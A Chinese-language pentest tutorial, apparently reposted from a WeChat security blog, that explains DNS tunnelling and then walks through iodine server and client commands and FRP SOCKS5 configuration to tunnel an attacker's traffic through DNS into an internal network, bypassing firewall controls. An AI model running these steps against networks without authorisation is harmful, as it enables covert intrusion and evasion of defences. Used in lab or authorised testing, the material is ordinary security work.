DNS 隧道是将其他协议的内容封装在 DNS 协议中,然后以 DNS 请求和响应完成数据传输的技术,类似于 DNSlog。当前网络世界中的 DNS 是一项必不可少的服务,所以防火墙和入侵检测设备出于可用性和用户友好的考虑将很难做到完全过滤掉 DNS 流量。
众多研究表明,DNS 隧道在僵尸网络和 APT 攻击中扮演着至关重要的角色。
简介
iodine 是基于 C 语言开发的,分为服务端和客户端。
iodine 支持直连模式和中继模式。
其原理是:通过 TAP 虚拟网卡,在服务端建立一个局域网;在客户端,通过 TAP 建立一个虚拟网卡。两者通过 DNS 隧道连接,处于同一个局域网(可以通过 ping 命令通信)。
分类
直连:用户端直接和指定的目标 DNS 服务器建立连接,然后将需要传输的数据编码封装在 DNS 协议中进行通信。这种方式的优点是具有较高速度,但隐蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任 DNS 服务器通信。
中继:通过 DNS 迭代查询而实现的中继 DNS 隧道,这种方式及其隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标 DNS 服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。
使用场景
目标网络限制严格,当 HTTP、HTTPS 等类似的上层协议以及正反向端口转发都失败的情况下,可以尝试使用 DNS 隧道。
为了更好理解,后续实操中关于服务器的 IP 和域名等信息都没有打码,明明白白的放那里在,还请大佬们手下留情!
举例
环境
Kali2023(攻击机)
阿里云(公网服务器):120.55.62.42
CentOS7(边界服务器)
Windows Server 2016(内网服务器):192.168.49.190
再准备一个域名:doublewei.top
首先配置两条域名解析记录
第一条 A 记录
告诉城名系统,"www.doublewei.top" 的 IP 地址是"120.55.62.42",并确认可以 ping 通。
第二条 NS 记录
告诉域名系统,"ns.doublewei.top"的域名由"www.doublewei.top"进行解析。
NS 记录用于设置某个子域名的 DNS 服务器。
接下来通过 nslookup 测试这两个域名的解析情况
第一个正常
第二个超时,不过没关系
在公网服务器上放行 TCP 和 UDP 的 53 号端口(安全组和系统防火墙都要放行)
firewall-cmd --add-port=53/udp
firewall-cmd --add-port=53/tcp
再测试域名解析是否生效
- 在公网服务器运行 tcpdump 监听 udp 的 53 号端口
tcpdump -n -i eth0 udp dst port 53
- 在攻击机(kali)上执行 nslookup 发起 dns 解析请求
nslookup ns.doublewei.top
这里依然是找不到,没关系,是这样的。
公网服务器看到了 ns.doublewei.top 的解析请求,这就说明 NS 记录配置生效了
在公网服务器上安装 iodine
yum install iodine
在公网服务器上运行服务端(服务端为 iodined,客户端为 iodine)
iodined -f -c -P 123.com 192.168.100.1 ns.doublewei.top -DD
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。
-P:客户端和服务端之间用于验证身份的密码。
-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
192.168.100.1为自定义虚拟网卡IP地址,不要与现有网段冲突
注意填写的域名为NS记录
执行命令后会新生成一个 dns0 虚拟网卡,IP 地址就是刚刚写的 192.168.100.1
在边界服务器上安装 iodine
yum install iodine
先把 yum 源搞好再安装,实在不行用源码安装也行,安装包在文章最后。
在边界服务器上运行客户端
iodine -f -P 123.com 120.55.62.42 ns.doublewei.top
这里自动发现了 iodine 服务端的 IP 为 192.168.100.1,同时也会在本地自动创建一个 dns0 的虚拟网卡,IP 为 192.168.100.2。
此时公网服务器会收到域名解析请求
可以在公网服务器上执行一下 ping 192.168.100.2 操作,看是否可以正常 ping 通,能通就说明隧道没有问题了。
解析的这个域名真是没眼看......
隧道建立成功后,公网服务器就可以访问到边界服务器开放的服务了,如 ssh、http、mysql 等。
ssh root@192.168.100.2
当然,反过来访问也可行,隧道建好了实现的效果是双方可以互相访问。
此时公网服务器能访问到边界服务器,但访问不到内网其它设备,但我们不就是要渗透它的内网吗,访问不到内网其它设备咋行,那如何解决呢?当然就是用代理技术啦!接下来我们基于隧道建立 socks5 代理。
这里用我们熟悉的 FRP
内网渗透 | MSF和FRP | 无法直接访问的目标如何通过搭建代理进一步渗透?
在公网服务器配置 frps.toml,并放行 5555 端口
bindPort = 5555
auth.token = "sdjf89734lkjsdf987234"
启动服务端
./frps -c frps.toml
在边界服务器配置 frpc.toml,并在公网服务器放行 8888 端口
serverAddr = "192.168.100.1"
serverPort = 5555
auth.token = "sdjf89734lkjsdf987234"
[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 8888
transport.useEncryption = true
transport.useCompression = true
[proxies.plugin]
type = "socks5"
注意这里的 serverAddr 一定要填公网服务器 dns0 的 IP,如果填公网 IP 代理流量就不会走 DNS 隧道了。
启动客户端
./frpc -c frpc.toml
在攻击机(kali)上配置代理为 socks5 120.55.62.42 8888
然后 kali 就可以访问内网设备了。
整个过程,相当于是在 DNS 隧道中传输 socks5 的通信数据,所以效率较低,数据传输有亿点慢。但是可以代理进内网,且始终基于 DNS 传输数据。
原文始发于微信公众号(大伯为安全):王炸组合 | 内网渗透隧道技术!DNS+FRP如何绕过防护干进内网
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论